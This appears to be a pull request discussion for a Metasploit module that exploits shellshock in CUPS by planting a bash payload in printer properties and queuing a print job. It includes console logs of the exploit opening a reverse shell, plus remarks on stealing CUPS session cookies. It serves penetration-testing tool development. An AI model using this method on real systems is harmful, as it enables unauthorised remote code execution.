Add exploit module for CUPS shellshock

[bcoles]

Add CUPS Filter Bash Environment Variable Code Injection exploit module.

The PRINTER_INFO and PRINTER_LOCATION printer properties (set when adding a printer to CUPS) are exported to environment variables when processing a print job. As such, it is possible for an authenticated CUPS user to add a printer with a shellshock payload in either of these properties then trigger the payload by queuing a print job.

Tested

• CUPS version 1.4.3 on Ubuntu 10.04 (x86)
• CUPS version 1.5.3 on Debian 7 (x64)
• CUPS version 1.6.2 on Fedora 19 (x64)
• CUPS version 1.7.2 on Ubuntu 14.04 (x64)

Check

msf exploit(cups_bash_env_exec) > set verbose false
verbose => false
msf exploit(cups_bash_env_exec) > check
[*] 172.16.251.133:631 - The target service is running, but could not be validated.
msf exploit(cups_bash_env_exec) > set verbose true
verbose => true
msf exploit(cups_bash_env_exec) > check
[*] 172.16.251.133:631 - Adding new printer 'NFycDodyl2r'
[*] 172.16.251.133:631 - Found CUPS version 1.7
[+] 172.16.251.133:631 - Added printer successfully
[*] 172.16.251.133:631 - Deleting printer 'NFycDodyl2r'
[*] 172.16.251.133:631 - The target service is running, but could not be validated.

Run

msf exploit(cups_bash_env_exec) > set verbose true
verbose => true
msf exploit(cups_shellshock) > run

[*] Started reverse handler on 172.16.251.132:4444 
[*] 172.16.251.133:631 - Adding new printer 'XLuCUwtjZkSVyw'
[+] 172.16.251.133:631 - Added printer successfully
[*] 172.16.251.133:631 - Adding test page to printer queue
[+] 172.16.251.133:631 - Added test page to printer queue
[*] 172.16.251.133:631 - Deleting printer 'XLuCUwtjZkSVyw'
[*] Command shell session 1 opened (172.16.251.132:4444 -> 172.16.251.133:56720) at 2014-10-26 02:10:51 -0400
[*] 172.16.251.133:631 - Deleted printer 'XLuCUwtjZkSVyw' successfully

id
uid=7(lp) gid=7(lp) groups=7(lp)

[kernelsmith]

would this be clearer (assuming I get the logic right) if it were

unless res && res.code == 200
  return print_error(blah)
end

[kernelsmith]

Cool submission, thanks!

[mubix]

Has anyone tested against the OSX version of CUPS?

[jvennix-r7]

Nice. This was the first thing I looked at, since i knew the http server in cups passes the request through env variables (but uses posix spawn process or execve so I stopped looking). Good idea on creating a printer.

If you know (or want to try a dictionary attack on) the username/password you could also serve this exploit to a browser to run against the loopback. There is no csrf token that i can see, besides the sid, which is also stored as an insecure cookie: document.cookie #=> "org.cups.sid=dc21b88116995498a27666a486674c30", so you would be able to just XHR all these requests.

[jvennix-r7]

Err ignore that ^ this wouldn't work in a browser, not sure what I was thinking, you'd have to steal that cookie and put it in a separate request parameter :)

[bcoles]

554935e adds

• check() method;
• support for CUPS version 1.5.3;
• support for CVE-2014-6278;
• @kernelsmith's suggestions

[bcoles]

@jvennix-r7 you could steal the cookie with XSS in CUPS 1.6.4 if the user is authenticated.

[wvu]

@bcoles: Tell me when you want this landed, and we can do that. It's kinda sorta a big thing. ;) You can PR further changes afterward. Sound good?

[bcoles]

@wvu-r7 I've removed CVE-2014-6278 for now. Ready to land.

[wvu]

What's wrong with CVE-2014-6278? :P

[wvu]

Corresponded via e-mail. CVE-2014-6278 support is unreliable. This looks good to go. Thanks, @bcoles!

P.S. Thanks to @kernelsmith for the awesome review. :)

[bcoles]

@wvu-r7 I removed CVE-2014-6278 as the payload was broken.

I've added a working payload for CVE-2014-6278 in #4093.

CVE-2014-6278 appeared unreliable as it doesn't work on older versions of bash prior to ~4.2.

GNU bash, version 4.1.5(1)-release (i486-pc-linux-gnu) on Ubuntu appears safe.

[wvu]

@bcoles: Ah, that's what you meant by unreliable. That's why we used OptEnum. :)

From http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html:

The test case works as-is with bash 4.2 and 4.3, but not with more ancient releases; this is probably related to changes introduced few years ago in bash 4.2 patch level 12 (xparse_dolparen()), but I have not investigated if earlier versions are patently not vulnerable or simply require different syntax.

FWIW, CVE-2014-6271 works on one of my test boxes, but CVE-2014-6278 doesn't work. Same reason.